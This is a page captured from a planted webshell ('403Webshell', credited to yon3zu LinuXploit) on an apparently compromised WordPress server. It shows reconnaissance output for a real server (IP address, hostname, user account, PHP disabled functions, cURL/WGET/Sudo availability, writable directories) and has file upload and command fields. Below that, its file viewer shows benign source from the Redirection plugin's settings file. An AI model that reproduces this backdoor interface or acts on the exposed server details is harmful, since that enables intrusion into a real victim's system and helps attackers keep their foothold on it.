403Webshell
Server IP : 146.190.157.162  /  Your IP : 216.73.217.6
Web Server : Apache
System : Linux ubuntu-s-2vcpu-4gb-amd-sfo3-01-KIT-DIGITAL 6.5.0-44-generic #44-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 7 15:10:09 UTC 2024 x86_64
User : businessweek ( 639)
PHP Version : 8.2.10-2ubuntu2.2
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_signal,pcntl_signal_dispatch,pcntl_getpriority,pcntl_setpriority,dl,putenv,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/ansiosos/wp-content/plugins/redirection/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/ansiosos/wp-content/plugins/redirection/redirection-settings.php
<?php

/**
 * @param string $plugin
 * @return array<string, mixed>
 */
function red_get_plugin_data( string $plugin ): array {
	if ( ! function_exists( 'get_plugin_data' ) ) {
		include_once ABSPATH . '/wp-admin/includes/plugin.php';
	}

	return get_plugin_data( $plugin );
}

/**
 * @param bool $full
 * @return array<string, string>|list<string>
 */
function red_get_post_types( bool $full = true ): array {
	$types = get_post_types( [ 'public' => true ], 'objects' );
	$types[] = (object) array(
		'name' => 'trash',
		'label' => __( 'Trash', 'default' ),
	);

	$post_types = [];
	foreach ( $types as $type ) {
		if ( $type->name === 'attachment' ) {
			continue;
		}

		if ( $full && strlen( $type->label ) > 0 ) {
			$post_types[ $type->name ] = $type->label;
		} else {
			$post_types[] = $type->name;
		}
	}

	return apply_filters( 'redirection_post_types', $post_types, $full );
}

/**
 * Set options
 *
 * @param array<string, mixed> $settings Partial settings.
 * @return array<string, mixed>
 */
function red_set_options( array $settings = [] ) {
	return Red_Options::save( $settings );
}

/**
 * @param string $url
 * @return array<string, mixed>|false
 */
function red_parse_url( string $url ) {
	$domain = filter_var( $url, FILTER_SANITIZE_URL );
	if ( $domain === false ) {
		return false;
	}

	if ( substr( $domain, 0, 5 ) !== 'http:' && substr( $domain, 0, 6 ) !== 'https:' ) {
		$domain = ( is_ssl() ? 'https://' : 'http://' ) . $domain;
	}

	return wp_parse_url( $domain );
}

/**
 * @param string $domain
 * @return string
 */
function red_parse_domain_only( string $domain ): string {
	$parsed = red_parse_url( $domain );

	if ( $parsed !== false && isset( $parsed['host'] ) ) {
		return $parsed['host'];
	}

	return '';
}

/**
 * @param string $domain
 * @return string
 */
function red_parse_domain_path( string $domain ): string {
	$parsed = red_parse_url( $domain );

	if ( $parsed !== false && isset( $parsed['host'] ) ) {
		return $parsed['scheme'] . '://' . $parsed['host'] . ( isset( $parsed['path'] ) ? $parsed['path'] : '' );
	}

	return '';
}

/**
 * Have redirects been disabled?
 *
 * @return boolean
 */
function red_is_disabled(): bool {
	return ( defined( 'REDIRECTION_DISABLE' ) && REDIRECTION_DISABLE ) || file_exists( __DIR__ . '/redirection-disable.txt' );
}

/**
 * Get Redirection options
 *
 * @return array<string, mixed>
 */
function red_get_options() {
	return Red_Options::get();
}

/**
 * Get the current REST API
 *
 * @param int|false $type Override with a specific API type.
 * @return string
 */
function red_get_rest_api( $type = false ): string {
	if ( $type === false ) {
		$options = Red_Options::get();
		$type = $options['rest_api'];
	}

	$url = get_rest_url();  // Red_Options::API_JSON

	if ( $type === Red_Options::API_JSON_INDEX ) {
		$url = home_url( '/?rest_route=/' );
	} elseif ( $type === Red_Options::API_JSON_RELATIVE ) {
		$relative = (string) wp_parse_url( $url, PHP_URL_PATH );

		if ( $relative !== '' ) {
			$url = $relative;
		}

		if ( $url === '/index.php' ) {
			// No permalinks. Default to normal REST API
			$url = home_url( '/?rest_route=/' );
		}
	}

	return $url;
}

Youez - 2016 - github.com/yon3zu
LinuXploit